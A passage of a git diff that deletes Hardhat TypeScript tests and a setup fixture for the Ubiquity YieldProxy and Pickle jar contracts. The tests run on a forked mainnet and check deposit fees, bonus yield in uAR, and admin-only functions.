uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - const ratio = await jar.getRatio(); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - const bonusYield = 5000; // 50% of bonus yield in UAR which is the minimum - expect(infos[0]).to.equal(amount); // token amount deposited by the user with same decimals as underlying token - expect(infos[1]).to.equal(shares); // pickle jar shares - expect(infos[2]).to.equal(uadAmount); // amount of uAD staked - expect(infos[3]).to.equal(ubqAmount); // amount of UBQ staked - expect(infos[4]).to.equal(expectedFee); // deposit fee with same decimals as underlying token - expect(infos[5]).to.equal(ratio); // used to calculate yield - expect(infos[6]).to.equal(bonusYield); // used to calculate bonusYield on yield in uAR - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 10% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal.sub(expectedFee)); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - const calculatedExtraYieldInETH = calculatedYieldInETH.div(2); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.add(calculatedExtraYieldInETH).add(expectedFeeInETH)); - }); - it("deposit should work with 0 extra yield and 10% deposit fee ", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - const USDCAmount = "1000"; - // 1000 USDC - const amount = ethers.utils.parseUnits(USDCAmount, 6); - const amountInETH = ethers.utils.parseEther(USDCAmount); - // 0 UAD - const uadAmount = 0; - const bonusYield = 5000; // min amount - // 0 UBQ which mean deposit fee will be 10% - const ubqAmount = ethers.utils.parseEther("0"); - const uarBal = await uAR.balanceOf(secondAddress); - // 10% of the deposited amount with the same decimals than the underlying token - const expectedFee = amount.div(10); - const expectedFeeInETH = amountInETH.div(10); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - const ratio = await jar.getRatio(); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - - expect(infos[0]).to.equal(amount); // token amount deposited by the user with same decimals as underlying token - expect(infos[1]).to.equal(shares); // pickle jar shares - expect(infos[2]).to.equal(uadAmount); // amount of uAD staked - expect(infos[3]).to.equal(ubqAmount); // amount of UBQ staked - expect(infos[4]).to.equal(expectedFee); // deposit fee with same decimals as underlying token - expect(infos[5]).to.equal(ratio); // used to calculate yield - expect(infos[6]).to.equal(bonusYield); // used to calculate bonusYield on yield in uAR - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 10% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal.sub(expectedFee)); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - const calculatedExtraYieldInETH = calculatedYieldInETH.div(2); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.add(calculatedExtraYieldInETH).add(expectedFeeInETH)); - }); - it("deposit should work with 0 extra yield and 1% reduction deposit fee ", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - const USDCAmount = "1000"; - // 1000 USDC - const amount = ethers.utils.parseUnits(USDCAmount, 6); - const amountInETH = ethers.utils.parseEther(USDCAmount); - // 0 UAD - const uadAmount = 0; - const bonusYield = 5000; // min amount - // 0 UBQ which mean deposit fee will be 10% - const ubqAmount = ethers.utils.parseEther("9000"); - const uarBal = await uAR.balanceOf(secondAddress); - // 1% of the deposited amount with the same decimals than the underlying token - const expectedFee = amount.div(100); - const expectedFeeInETH = amountInETH.div(100); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - const ratio = await jar.getRatio(); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - - expect(infos[0]).to.equal(amount); // token amount deposited by the user with same decimals as underlying token - expect(infos[1]).to.equal(shares); // pickle jar shares - expect(infos[2]).to.equal(uadAmount); // amount of uAD staked - expect(infos[3]).to.equal(ubqAmount); // amount of UBQ staked - expect(infos[4]).to.equal(expectedFee); // deposit fee with same decimals as underlying token - expect(infos[5]).to.equal(ratio); // used to calculate yield - expect(infos[6]).to.equal(bonusYield); // used to calculate bonusYield on yield in uAR - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 10% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal.sub(expectedFee)); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - const calculatedExtraYieldInETH = calculatedYieldInETH.div(2); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.add(calculatedExtraYieldInETH).add(expectedFeeInETH)); - }); - it("deposit should work with 55% extra yield and 5% reduction deposit fee ", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - const USDCAmount = "1000"; - // 1000 USDC - const amount = ethers.utils.parseUnits(USDCAmount, 6); - const amountInETH = ethers.utils.parseEther(USDCAmount); - const maxUADAmount = amountInETH.div(2); - // 0 UAD = 50%, 500 UAD = 50% of amount = 100% extra yield - // so 50 UAD = 5% of amount = 10% of max amount for extra yield = 55% extra yield - const uadAmount = amountInETH.div(2).div(10); - - // 5000 min amount = 50 10000 max amount - const bonusYield = BigNumber.from(5000) - .mul(maxUADAmount.add(uadAmount).mul(ethers.utils.parseEther("100")).div(maxUADAmount)) - .div(ethers.utils.parseEther("100")); - - // 5000 UBQ which mean deposit fee will be 5% - const ubqAmount = ethers.utils.parseEther("5000"); - const uarBal = await uAR.balanceOf(secondAddress); - // 5% of the deposited amount with the same decimals than the underlying token - const expectedFee = amount.div(20); - const expectedFeeInETH = amountInETH.div(20); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - const ratio = await jar.getRatio(); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - - expect(infos[0]).to.equal(amount); // token amount deposited by the user with same decimals as underlying token - expect(infos[1]).to.equal(shares); // pickle jar shares - expect(infos[2]).to.equal(uadAmount); // amount of uAD staked - expect(infos[3]).to.equal(ubqAmount); // amount of UBQ staked - expect(infos[4]).to.equal(expectedFee); // deposit fee with same decimals as underlying token - expect(infos[5]).to.equal(ratio); // used to calculate yield - expect(infos[6]).to.equal(bonusYield); // used to calculate bonusYield on yield in uAR - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element, i) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 10% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal.sub(expectedFee)); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - // minimum extra yield is 50% but here we should have 55% - const calculatedMinExtraYieldInETH = calculatedYieldInETH.div(2); - // indeed we sent 10% of the maximum amount of UAD so we should get - // 10% more of the yield - const calculatedExtraYieldInETH = calculatedMinExtraYieldInETH.add(calculatedMinExtraYieldInETH.div(10)); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - const uarBalAfterWithdrawMinusMinimumExtraYield = uarBalAfterWithdrawRounded.sub( - expectedFeeInETH.add(calculatedYieldInETH).add(calculatedMinExtraYieldInETH) - ); - const cent = ethers.utils.parseEther("100"); - const percentOfYield = uarBalAfterWithdrawMinusMinimumExtraYield.mul(cent).div(calculatedYieldInETH); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.add(calculatedExtraYieldInETH).add(expectedFeeInETH)); - }); - it("deposit should revert if it exist", async () => { - // 1000 USDC - const amount = ethers.utils.parseUnits("1000", 6); - // 500 UAD which is the max - const uadAmount = ethers.utils.parseEther("500"); - // 10000 UBQ which is the max - const ubqAmount = ethers.utils.parseEther("10000"); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.be.revertedWith("YieldProxy::DepoExist"); - }); - it("deposit should revert with 0 amount ", async () => { - // 500 UAD which is the max - const uadAmount = ethers.utils.parseEther("500"); - // 10000 UBQ which is the max - const ubqAmount = ethers.utils.parseEther("10000"); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - await expect(yieldProxy.connect(secondAccount).deposit(0, uadAmount, ubqAmount)).to.be.revertedWith("YieldProxy::amount==0"); - }); - it("withdraw should revert if no deposit", async () => { - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.be.revertedWith("YieldProxy::amount==0"); - }); - it("setDepositFees should work", async () => { - await yieldProxy.connect(admin).setDepositFees(500); - expect(await yieldProxy.fees()).to.equal(500); - }); - it("setDepositFees should revert if not admin", async () => { - await expect(yieldProxy.connect(secondAccount).setDepositFees(56)).to.be.revertedWith("YieldProxy::!admin"); - }); - it("setUBQRate should work", async () => { - await yieldProxy.connect(admin).setUBQRate(500); - expect(await yieldProxy.ubqRate()).to.equal(500); - }); - it("setUBQRate should revert if greater than max", async () => { - await expect(yieldProxy.connect(admin).setUBQRate(ethers.utils.parseEther("10001"))).to.be.revertedWith("YieldProxy::>ubqRateMAX"); - }); - it("setUBQRate should revert if not admin", async () => { - await expect(yieldProxy.connect(secondAccount).setUBQRate(56)).to.be.revertedWith("YieldProxy::!admin"); - }); - it("setJar should work", async () => { - await yieldProxy.connect(admin).setJar(jarYCRVLUSDaddr); - expect(await yieldProxy.jar()).to.equal(jarYCRVLUSDaddr); - }); - it("setJar should revert if not admin", async () => { - await expect(yieldProxy.connect(secondAccount).setJar(jarYCRVLUSDaddr)).to.be.revertedWith("YieldProxy::!admin"); - }); - it("setJar should revert if zero address ", async () => { - await expect(yieldProxy.connect(admin).setJar(ethers.constants.AddressZero)).to.be.revertedWith("YieldProxy::!Jar"); - }); - it("setJar should revert if non contract address ", async () => { - await expect(yieldProxy.connect(secondAccount).setJar(usdcWhaleAddress)).to.be.reverted; - }); - describe("CollectableDust", () => { - it("Admin should be able to add protocol token (CollectableDust)", async () => { - await yieldProxy.connect(admin).addProtocolToken(USDC); - }); - - it("should revert when another account tries to add protocol token (CollectableDust)", async () => { - await expect(yieldProxy.connect(secondAccount).addProtocolToken(USDC)).to.be.revertedWith("YieldProxy::!admin"); - }); - - it("should revert when trying to add an already existing protocol token (CollectableDust)", async () => { - await yieldProxy.connect(admin).addProtocolToken(USDC); - await expect(yieldProxy.connect(admin).addProtocolToken(USDC)).to.be.revertedWith("collectable-dust::token-is-part-of-the-protocol"); - }); - - it("should revert when another account tries to remove a protocol token (CollectableDust)", async () => { - await expect(yieldProxy.connect(secondAccount).removeProtocolToken(USDC)).to.be.revertedWith("YieldProxy::!admin"); - }); - - it("Admin should be able to remove protocol token (CollectableDust)", async () => { - await yieldProxy.connect(admin).addProtocolToken(USDC); - await yieldProxy.connect(admin).removeProtocolToken(USDC); - }); - - it("should revert when trying to remove token that is not a part of the protocol (CollectableDust)", async () => { - await expect(yieldProxy.connect(admin).removeProtocolToken(USDC)).to.be.revertedWith("collectable-dust::token-not-part-of-the-protocol"); - }); - - it("should emit DustSent event (CollectableDust)", async () => { - const amount = ethers.utils.parseUnits("1000", 6); - - const uadAmount = ethers.utils.parseEther("500"); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await yieldProxy.connect(secondAccount).deposit(amount, uadAmount, 0); - - await expect(yieldProxy.connect(admin).sendDust(await admin.getAddress(), uAD.address, uadAmount)) - .to.emit(yieldProxy, "DustSent") - .withArgs(await admin.getAddress(), uAD.address, uadAmount); - }); - it("should revert when another account tries to remove dust from the contract (CollectableDust)", async () => { - await expect( - yieldProxy.connect(secondAccount).sendDust(await admin.getAddress(), await yieldProxy.ETH_ADDRESS(), ethers.utils.parseUnits("100", "gwei")) - ).to.be.revertedWith("YieldProxy::!admin"); - }); - - it("should emit ProtocolTokenAdded event (CollectableDust)", async () => { - await expect(yieldProxy.connect(admin).addProtocolToken(DAI)).to.emit(yieldProxy, "ProtocolTokenAdded").withArgs(DAI); - }); - - it("should emit ProtocolTokenRemoved event (CollectableDust)", async () => { - await yieldProxy.connect(admin).addProtocolToken(DAI); - await expect(yieldProxy.connect(admin).removeProtocolToken(DAI)).to.emit(yieldProxy, "ProtocolTokenRemoved").withArgs(DAI); - }); - }); -}); diff --git a/packages/contracts/dollar/test/YieldProxySetup.ts b/packages/contracts/dollar/test/YieldProxySetup.ts deleted file mode 100644 index 88ca5cb0a..000000000 --- a/packages/contracts/dollar/test/YieldProxySetup.ts +++ /dev/null @@ -1,145 +0,0 @@ -import { ContractTransaction, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { UbiquityFormulas } from "../artifacts/types/UbiquityFormulas"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { resetFork } from "./utils/hardhatNode"; -import { YieldProxy } from "../artifacts/types/YieldProxy"; -import { IJar } from "../artifacts/types/IJar"; - -let fifthAccount: Signer; -let uAR: UbiquityAutoRedeem; -let yieldProxy: YieldProxy; -let manager: UbiquityAlgorithmicDollarManager; -let usdcWhaleAddress: string; -let uAD: UbiquityAlgorithmicDollar; -let uGOV: UbiquityGovernance; -let DAI: string; -let USDC: string; -let usdcToken: ERC20; -let admin: Signer; -let usdcWhale: Signer; -let secondAccount: Signer; -let thirdAccount: Signer; -let fourthAccount: Signer; -let treasury: Signer; -let jarUSDCAddr: string; -let jarYCRVLUSDaddr: string; -let adminAddress: string; -let secondAddress: string; -let ubiquityFormulas: UbiquityFormulas; -let jar: IJar; -let strategyYearnUsdcV2: string; -export default async function yieldProxySetup(): Promise<{ - usdcToken: ERC20; - usdcWhale: Signer; - admin: Signer; - secondAccount: Signer; - thirdAccount: Signer; - fourthAccount: Signer; - fifthAccount: Signer; - treasury: Signer; - usdcWhaleAddress: string; - jarUSDCAddr: string; - jarYCRVLUSDaddr: string; - uAD: UbiquityAlgorithmicDollar; - uAR: UbiquityAutoRedeem; - uGOV: UbiquityGovernance; - yieldProxy: YieldProxy; - DAI: string; - USDC: string; - manager: UbiquityAlgorithmicDollarManager; - jar: IJar; - strategyYearnUsdcV2: string; -}> { - await resetFork(13185077); - // GET contracts adresses - ({ DAI, USDC, usdcWhaleAddress, jarUSDCAddr, strategyYearnUsdcV2, jarYCRVLUSDaddr } = await getNamedAccounts()); - - // GET first EOA account as admin Signer - [admin, secondAccount, thirdAccount, treasury, fourthAccount, fifthAccount] = await ethers.getSigners(); - - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [usdcWhaleAddress], - }); - - usdcWhale = ethers.provider.getSigner(usdcWhaleAddress); - const amountToDeposit = ethers.utils.parseUnits("10000", 6); - - adminAddress = await admin.getAddress(); - secondAddress = await secondAccount.getAddress(); - const fourthAddress = await fourthAccount.getAddress(); - - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - - // DEPLOY UbiquityAlgorithmicDollarManager Contract - manager = (await (await ethers.getContractFactory("UbiquityAlgorithmicDollarManager")).deploy(adminAddress)) as UbiquityAlgorithmicDollarManager; - - // DEPLOY Ubiquity library - ubiquityFormulas = (await (await ethers.getContractFactory("UbiquityFormulas")).deploy()) as UbiquityFormulas; - await manager.setFormulasAddress(ubiquityFormulas.address); - - // DEPLOY UAD token Contract - uAD = (await (await ethers.getContractFactory("UbiquityAlgorithmicDollar")).deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.setDollarTokenAddress(uAD.address); - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - // DEPLOY UGOV token Contract - uGOV = (await (await ethers.getContractFactory("UbiquityGovernance")).deploy(manager.address)) as UbiquityGovernance; - await manager.setGovernanceTokenAddress(uGOV.address); - - // GET USDC token contract - usdcToken = (await ethers.getContractAt("ERC20", USDC)) as ERC20; - await usdcToken.connect(usdcWhale).transfer(secondAddress, amountToDeposit); - - const mintingUAD = [adminAddress, secondAddress, manager.address, fourthAddress].map( - async (signer: string): Promise => uAD.mint(signer, ethers.utils.parseEther("20000")) - ); - const mintingUBQ = [adminAddress, secondAddress, manager.address, fourthAddress].map( - async (signer: string): Promise => uGOV.mint(signer, ethers.utils.parseEther("20000")) - ); - - await Promise.all([mintingUAD, mintingUBQ]); - // deploy yield proxy - // _fees 10000 = 10% because feesMax = 100000 and 10000 / 100000 = 0.1 - // _UBQRate 10e18, if the UBQRate is 10 then 10/10000 = 0.001 1UBQ gives you 0.001% of fee reduction so 100000 UBQ gives you 100% - // _bonusYield 5000 = 50% 100 = 1% 10 = 0.1% 1 = 0.01% - jar = (await ethers.getContractAt("IJar", jarUSDCAddr)) as IJar; - yieldProxy = (await ( - await ethers.getContractFactory("YieldProxy") - ).deploy(manager.address, jar.address, 10000, ethers.utils.parseEther("100"), 5000)) as YieldProxy; - // bonding should have the UBQ_MINTER_ROLE to mint bonding shares - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, yieldProxy.address); - - const uARFactory = await ethers.getContractFactory("UbiquityAutoRedeem"); - uAR = (await uARFactory.deploy(manager.address)) as UbiquityAutoRedeem; - await manager.setuARTokenAddress(uAR.address); - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - return { - usdcToken, - usdcWhale, - admin, - secondAccount, - thirdAccount, - fourthAccount, - fifthAccount, - treasury, - usdcWhaleAddress, - jarUSDCAddr, - jarYCRVLUSDaddr, - uAD, - uGOV, - uAR, - yieldProxy, - DAI, - USDC, - manager, - jar, - strategyYearnUsdcV2, - }; -} diff --git a/packages/contracts/dollar/test/pickle.test.ts b/packages/contracts/dollar/test/pickle.test.ts deleted file mode 100644 index b386ec86a..000000000 --- a/packages/contracts/dollar/test/pickle.test.ts +++ /dev/null @@ -1,150 +0,0 @@ -import { Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { expect } from "chai"; -import { IERC20 } from "../artifacts/types/IERC20"; -import { IJar } from "../artifacts/types/IJar"; -import { YieldProxy } from "../artifacts/types/YieldProxy"; -import { IController } from "../artifacts/types/IController"; -import { mineNBlock, resetFork } from "./utils/hardhatNode"; -import { isAmountEquivalent } from "./utils/calc"; - -describe("Pickle", () => { - let jar: IJar; - let pickleController: IController; - let admin: Signer; - let secondAccount: Signer; - let usdcToken: IERC20; - let DAI: string; - let USDC: string; - let USDT: string; - let usdcWhaleAddress: string; - let pickleControllerAddr: string; - let strategyYearnUsdcV2: string; - let jarUSDCAddr: string; - let usdcWhale: Signer; - beforeEach(async () => { - ({ DAI, USDC, USDT, usdcWhaleAddress, jarUSDCAddr, pickleControllerAddr, strategyYearnUsdcV2 } = await getNamedAccounts()); - [admin, secondAccount] = await ethers.getSigners(); - await resetFork(13185077); - - jar = (await ethers.getContractAt("IJar", jarUSDCAddr)) as IJar; - pickleController = (await ethers.getContractAt("IController", pickleControllerAddr)) as IController; - usdcToken = (await ethers.getContractAt("IERC20", USDC)) as IERC20; - - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [usdcWhaleAddress], - }); - - usdcWhale = ethers.provider.getSigner(usdcWhaleAddress); - // mint uad for whale - }); - describe("jar", () => { - it("deposit should work ", async () => { - const secondAccountAdr = await secondAccount.getAddress(); - // usdc is only 6 decimals - const amountToDeposit = ethers.utils.parseUnits("1000000", 6); - - const balWhaleUsdc = await usdcToken.balanceOf(usdcWhaleAddress); - - console.log(` - - balWhaleUsdc:${ethers.utils.formatUnits(balWhaleUsdc, 6)} - `); - - await usdcToken.connect(usdcWhale).transfer(secondAccountAdr, amountToDeposit); - - const balUsdc1 = await usdcToken.balanceOf(secondAccountAdr); - const balJar1 = await jar.balanceOf(secondAccountAdr); - const ratio1 = await jar.getRatio(); - - console.log(` - ratio:${ethers.utils.formatEther(ratio1)} - balJar:${ethers.utils.formatEther(balJar1)} - balUsdc:${ethers.utils.formatUnits(balUsdc1, 6)} - `); - await usdcToken.connect(secondAccount).approve(jarUSDCAddr, amountToDeposit); - await jar.connect(secondAccount).deposit(amountToDeposit); - const balUsdc2 = await usdcToken.balanceOf(secondAccountAdr); - const balJar2 = await jar.balanceOf(secondAccountAdr); - const ratio2 = await jar.getRatio(); - - console.log(` - AFTER DEPOSIT - ratio:${ethers.utils.formatEther(ratio2)} - balJar:${ethers.utils.formatEther(balJar2)} - balUsdc:${ethers.utils.formatUnits(balUsdc2, 6)} - - `); - - // ratio is jar balance + controller balance / jar token total supply - expect(ratio2.gt(ratio1)).to.be.true; - const balUSDCJar1 = await usdcToken.balanceOf(jarUSDCAddr); - await jar.earn(); - const balUSDCController = await usdcToken.balanceOf(pickleControllerAddr); - console.log(` - - balUSDCController:${ethers.utils.formatUnits(balUSDCController, 6)} - - `); - const balUSDCJar2 = await usdcToken.balanceOf(jarUSDCAddr); - const ratio3 = await jar.getRatio(); - console.log(` - AFTER EARN - balUSDCJar1:${ethers.utils.formatUnits(balUSDCJar1, 6)} - balUSDCJar2:${ethers.utils.formatUnits(balUSDCJar2, 6)} - ratio:${ethers.utils.formatEther(ratio3)} - `); - - // move in time and withdraw - - // await mineNBlock(100); - // simulate yield + 100% - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, amountToDeposit); - await jar.earn(); - const ratio4 = await jar.getRatio(); - const tx = await jar.connect(secondAccount).withdrawAll(); - const balUsdcUserAfterWithdraw = await usdcToken.balanceOf(secondAccountAdr); - const balUsdc3 = await usdcToken.balanceOf(secondAccountAdr); - const balJar3 = await jar.balanceOf(secondAccountAdr); - const ratio4After = await jar.getRatio(); - console.log(` - AFTER Withdraw - USDC amount deposited : ${ethers.utils.formatUnits(amountToDeposit, 6)} - balUsdcUserAfterWithdraw :${ethers.utils.formatUnits(balUsdcUserAfterWithdraw, 6)} - net win : ${ethers.utils.formatUnits(balUsdcUserAfterWithdraw.sub(amountToDeposit), 